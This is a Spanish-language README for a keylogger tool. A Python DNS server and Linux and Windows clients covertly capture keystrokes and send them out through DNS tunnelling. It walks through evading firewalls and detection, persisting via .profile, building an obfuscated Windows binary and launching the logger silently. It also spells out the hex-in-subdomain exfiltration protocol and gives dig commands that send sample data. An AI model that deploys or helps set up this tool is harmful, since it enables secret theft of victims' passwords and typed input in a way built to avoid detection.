
Servidor y cliente de keylogging que utiliza tunelización/exfiltración DNS para transmitir pulsaciones de teclas a través de firewalls.
Este keylogger post-explotación exfiltrará de forma encubierta las pulsaciones de teclas a un servidor.
Estas herramientas destacan por su exfiltración ligera y persistencia, propiedades que evitarán la detección. Utiliza tunelización/exfiltración DNS para eludir cortafuegos y evitar ser detectado.
El servidor utiliza python3.
Para instalar las dependencias, ejecuta python3 -m pip install -r requirements.txt
Para iniciar el servidor, ejecuta python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
Por defecto, el servidor escucha en el puerto UDP 53. Usa la opción -p para especificar un puerto diferente.
ip es la dirección IP del servidor. Se utiliza en los registros SOA y NS, que permiten a otros servidores de nombres encontrar el servidor.
domain es el dominio al que escuchar, que debería ser el dominio para el cual el servidor es autoritativo.
En el registrador, debes cambiar el espacio de nombres de tu dominio a DNS personalizado.
Apúntalos a dos dominios, ns1.example.com y ns2.example.com.

Agrega registros que apunten los dominios de espacio de nombres a la dirección IP de tu servidor de exfiltración.

Esto es equivalente a configurar registros de tipo glue.
El keylogger de Linux consta de dos scripts bash. connection.sh es utilizado por el script logger.sh para enviar las pulsaciones al servidor. Si deseas enviar datos manualmente, como un archivo, puedes canalizar datos al script connection.sh. Este establecerá automáticamente una conexión y enviará los datos.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
Para iniciar el keylogger, ejecuta el comando ./logger.sh [domain] && exit. Esto iniciará silenciosamente el keylogger y se enviarán todas las entradas escritas. El && exit al final hará que el shell se cierre al salir. Sin él, al salir volverás al shell sin keylogger. Elimina &> /dev/null para mostrar mensajes de error.
La opción -p especificará la ubicación del archivo de registro temporal donde se envían todas las entradas. Por defecto, es /tmp/.
La opción -l mostrará advertencias y errores. Puede ser útil para depuración.
logger.sh y connection.sh deben estar en el mismo directorio para que el keylogger funcione. Si deseas persistencia, puedes agregar el comando a .profile para que se inicie en cada nueva shell interactiva.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
Para compilar el programa keylogger, ejecuta make en el directorio windows. Para compilar con tamaño reducido y cierto grado de ofuscación, haz el objetivo production. Esto creará el directorio build y generará un archivo llamado logger.exe dentro de build. Solo he probado la compilación usando MinGW en Windows 10. Si intentas usar g++ en una máquina que no sea Windows, probablemente obtendrás errores de compilación relacionados con windows.h.
make production domain=example.com
También puedes optar por compilar el programa con depuración usando el objetivo debug.
make debug domain=example.com
Para ambos objetivos, deberás especificar el dominio al que el servidor está escuchando.
Puedes usar dig para enviar solicitudes al servidor:
dig @127.0.0.1 a.1.1.1.example.com A +short envía una solicitud de conexión a un servidor en localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short envía un mensaje de prueba a localhost.
Reemplaza example.com por el dominio al que el servidor está escuchando.
Las solicitudes de registro A que comienzan con a indican el inicio de una "conexión". Cuando el servidor las recibe, responde con una dirección IP falsa no reservada donde el último octeto contiene el ID del cliente.
El siguiente es el formato a seguir para iniciar una conexión: a.1.1.1.[sld].[tld].
El servidor responderá con una dirección IP en el siguiente formato: 123.123.123.[id]
Las conexiones simultáneas no pueden exceder 254, y los clientes nunca se consideran "desconectados".
Las solicitudes de registro A que comienzan con b indican datos exfiltrados enviados al servidor.
El siguiente es el formato a seguir para enviar datos después de establecer una conexión: b.[packet #].[id].[data].[sld].[tld].
El servidor responderá con [code].123.123.123
id es el ID que se estableció al conectar. Los datos se envían codificados en ASCII como hexadecimal.
code es uno de los códigos descritos a continuación.
200: OKSi el cliente envía una solicitud que se procesa normalmente, el servidor responderá con el código 200.
201: Solicitudes de registro mal formadasSi el cliente envía una solicitud de registro mal formada, el servidor responderá con el código 201.
202: Conexiones inexistentesSi el cliente envía un paquete de datos con un ID mayor que el número de conexiones, el servidor responderá con el código 202.
203: Paquetes fuera de ordenSi el cliente envía un paquete con un ID de paquete que no coincide con lo esperado, el servidor responderá con el código 203. Los clientes y servidores deben restablecer sus números de paquete a 0. Luego el cliente puede reenviar el paquete con el nuevo ID de paquete.
204: Se alcanzó el máximo de conexionesSi el cliente intenta crear una conexión cuando se ha alcanzado el máximo, el servidor responderá con el código 204.
Los clientes deben confiar en las respuestas como confirmación de recepción de paquetes. Si no reciben una respuesta, deben reenviar la misma carga útil.
El archivo de registro que contiene las entradas del usuario incluye caracteres de control ASCII, como retroceso, eliminar y retorno de carro. Si imprimes el contenido usando algo como cat, debes seleccionar la opción adecuada para imprimir caracteres de control ASCII, como -v para cat, o abrirlo en un editor de texto.
El keylogger depende de script, por lo que no se ejecutará en shells no interactivas.
Por alguna razón, Dns_Query_A en Windows siempre envía solicitudes duplicadas. El servidor lo procesará correctamente porque descarta paquetes repetidos.